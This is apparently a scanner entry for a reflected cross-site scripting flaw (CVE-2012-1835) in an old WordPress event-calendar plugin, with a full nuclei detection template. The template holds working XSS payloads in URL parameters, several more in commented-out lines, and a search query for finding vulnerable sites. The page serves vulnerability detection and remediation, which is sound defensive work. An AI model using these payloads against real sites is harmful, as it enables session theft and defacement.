WordPress Plugin All-in-One Event Calendar 1.4 - Cross-Site Scripting

mediumseverity

4.3CVSS score

8.9%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

Multiple cross-site scripting vulnerabilities in the All-in-One Event Calendar plugin 1.4 and 1.5 for WordPress allow remote attackers to inject arbitrary web script or HTML via the (1) title parameter to app/view/agenda-widget-form.php; (2) args, (3) title, (4) before_title, or (5) after_title parameter to app/view/agenda-widget.php; (6) button_value parameter to app/view/box_publish_button.php; or (7) msg parameter to /app/view/save_successful.php.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, leading to potential data theft, session hijacking, or defacement.

Fix

Update to the latest version of the All-in-One Event Calendar plugin to mitigate the XSS vulnerability.

How to confirm it

Send: GET /wp-content/plugins/all-in-one-event-calendar/readme.txt
Positive when: contains "All-in-One Event Calendar"
Send: GET {{BaseURL}}/wp-content/plugins/all-in-one-event-calendar/app/view/agenda-widget.php?title=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2F…
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2012-1835 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2012-1835

info:
  name: WordPress Plugin All-in-One Event Calendar 1.4 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: Multiple cross-site scripting vulnerabilities in the All-in-One Event Calendar plugin 1.4 and 1.5 for WordPress allow remote attackers to inject arbitrary web script or HTML via the (1) title parameter to app/view/agenda-widget-form.php; (2) args, (3) title, (4) before_title, or (5) after_title parameter to app/view/agenda-widget.php; (6) button_value parameter to app/view/box_publish_button.php; or (7) msg parameter to /app/view/save_successful.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Update to the latest version of the All-in-One Event Calendar plugin to mitigate the XSS vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2012-1835
    - https://www.htbridge.com/advisory/HTB23082
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2012-1835
    cwe-id: CWE-79
    epss-score: 0.08946
    epss-percentile: 0.95288
    cpe: cpe:2.3:a:timely:all-in-one_event_calendar:1.4:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: timely
    product: "all-in-one_event_calendar"
    google-query: "inurl:\"/wp-content/plugins/all-in-one-event-calendar\""
  tags: cve,cve2012,wordpress,xss,wp-plugin,timely,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/all-in-one-event-calendar/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'All-in-One Event Calendar'

  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/all-in-one-event-calendar/app/view/agenda-widget.php?title=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
      #  - '{{BaseURL}}/wp-content/plugins/all-in-one-event-calendar/app/view/agenda-widget-form.php?title[id]=%22%3E%3Cscript%3Ealert%28123%29;%3C/script%3E'
      #  - '{{BaseURL}}/wp-content/plugins/all-in-one-event-calendar/app/view/agenda-widget.php?args[before_widget]=%3Cscript%3Ealert%28123%29;%3C/script%3E'
      #  - '{{BaseURL}}/wp-content/plugins/all-in-one-event-calendar/app/view/agenda-widget.php?title=1&before_title=%3Cscript%3Ealert%28123%29;%3C/script%3E'
      #  - '{{BaseURL}}/wp-content/plugins/all-in-one-event-calendar/app/view/agenda-widget.php?title=1&after_title=%3Cscript%3Ealert%28123%29;%3C/script%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

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